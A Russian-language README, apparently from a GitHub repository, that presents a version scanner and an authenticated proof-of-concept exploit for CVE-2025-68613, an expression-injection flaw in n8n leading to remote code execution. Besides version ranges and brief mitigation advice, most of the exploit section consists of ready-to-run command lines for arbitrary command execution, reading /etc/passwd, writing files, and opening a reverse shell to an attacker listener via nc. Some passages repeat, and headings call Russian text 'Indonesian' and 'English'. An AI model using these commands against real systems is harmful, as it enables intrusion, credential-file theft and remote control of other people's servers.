CVE-2025-68613 – n8n: внедрение выражений (Expression Injection) → RCE

Этот инструментарий предоставляет сканер и PoC-эксплойт для критической уязвимости CVE-2025-68613 в n8n Workflow Automation Platform.

Этот репозиторий предоставляет скрипты сканера и PoC-эксплойта для критической CVE-2025-68613 уязвимости, затрагивающей n8n Workflow Automation Platform.

ПРЕДУПРЕЖДЕНИЕ

На индонезийском

Этот инструмент ТОЛЬКО для законного и авторизованного тестирования безопасности. Запрещается использовать этот инструмент на системах без разрешения владельца.

На английском

Этот инструмент ТОЛЬКО для авторизованного и легального тестирования безопасности. Неавторизованное использование незаконно и запрещено.

Обзор уязвимости

• CVE ID : CVE-2025-68613
• Уровень опасности : Критический
• CVSS : 10.0
• Тип : Внедрение выражений → удаленное выполнение кода (RCE)
• Продукт : n8n Workflow Automation Platform

Уязвимые версии

• 0.211.0 – 1.120.3
• 1.121.0

Исправленные версии

• 1.120.4+
• 1.121.1+
• 1.122.0+

Структура репозитория

.
├── tot-scanner-2025-68613.py   # Vulnerability Scanner (NO exploit)
├── tot-exploit-2025-68613.py   # Authenticated RCE Exploit PoC
├── requirements.txt
└── README.md

Сканер (без эксплойта)

Сканер используется для:

• обнаружения сервиса n8n
• извлечения версии n8n
• определения статуса уязвимости
• без эксплойтации
• поддержки вывода JSON

Сканер:

• обнаруживает сервис n8n
• извлекает версию n8n
• определяет статус уязвимости
• без эксплойтации
• поддерживает вывод JSON

Сканер проверяет следующие эндпоинты:

• /
• /rest/settings
• /healthz
• /api/v1/health

Зависимости / Требования

На индонезийском

Необходимые пакеты:

• requests

Содержимое файла requirements.txt:

requests>=2.28.0

На английском

Требуемые пакеты:

• requests

Содержимое requirements.txt:

requests>=2.28.0

Установка

pip install -r requirements.txt

Использование сканера

python3 tot-scanner-2025-68613.py -u http://target.com:5678

JSON-режим сканера

python3 tot-scanner-2025-68613.py -u http://target.com:5678 --json

Пример вывода JSON сканера

{
  "target": "http://target.com:5678",
  "detected": true,
  "version": "1.121.0",
  "vulnerable": true,
  "status": "vulnerable",
  "cve": "CVE-2025-68613"
}

Коды выхода сканера

Эксплойт PoC (авторизованный RCE)

Для этого эксплойта ТРЕБУЮТСЯ действительные учетные данные n8n
Требуется авторизованный доступ

Эксплойт работает следующим образом:

1. Вход в n8n
2. Создание workflow
3. Вставка вредоносного выражения в узел Set
4. Запуск workflow
5. (Необязательно) Очистка workflow

Аргументы эксплойта

Поддерживаемые payload

Примеры использования эксплойта

Информация о системе

python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload info

Выполнение команды

python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload cmd  --command "id"

Чтение файла

python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload read  --file /etc/passwd

Запись файла

python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload write  --file /tmp/pwned.txt  --content "owned"

Реверс-шелл

nc -lvnp 4444

python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload revshell  --lhost 10.10.14.5  --lport 4444

Митигация

• Обновить n8n до исправленных версий
• Ограничить доступ к эндпоинтам /rest/*
• Внедрить RBAC и строгую аутентификацию
• Провести аудит неизвестных workflow

Отказ от ответственности

Этот проект предоставляется только для образовательного и авторизованного тестирования безопасности.
Автор не несет ответственности за неправомерное использование.

Темы GitHub

n8n
cve
cve-2025-68613
rce
expression-injection
security
pentest
red-team
blue-team
python

Оставайтесь в рамках закона. Действуйте этично.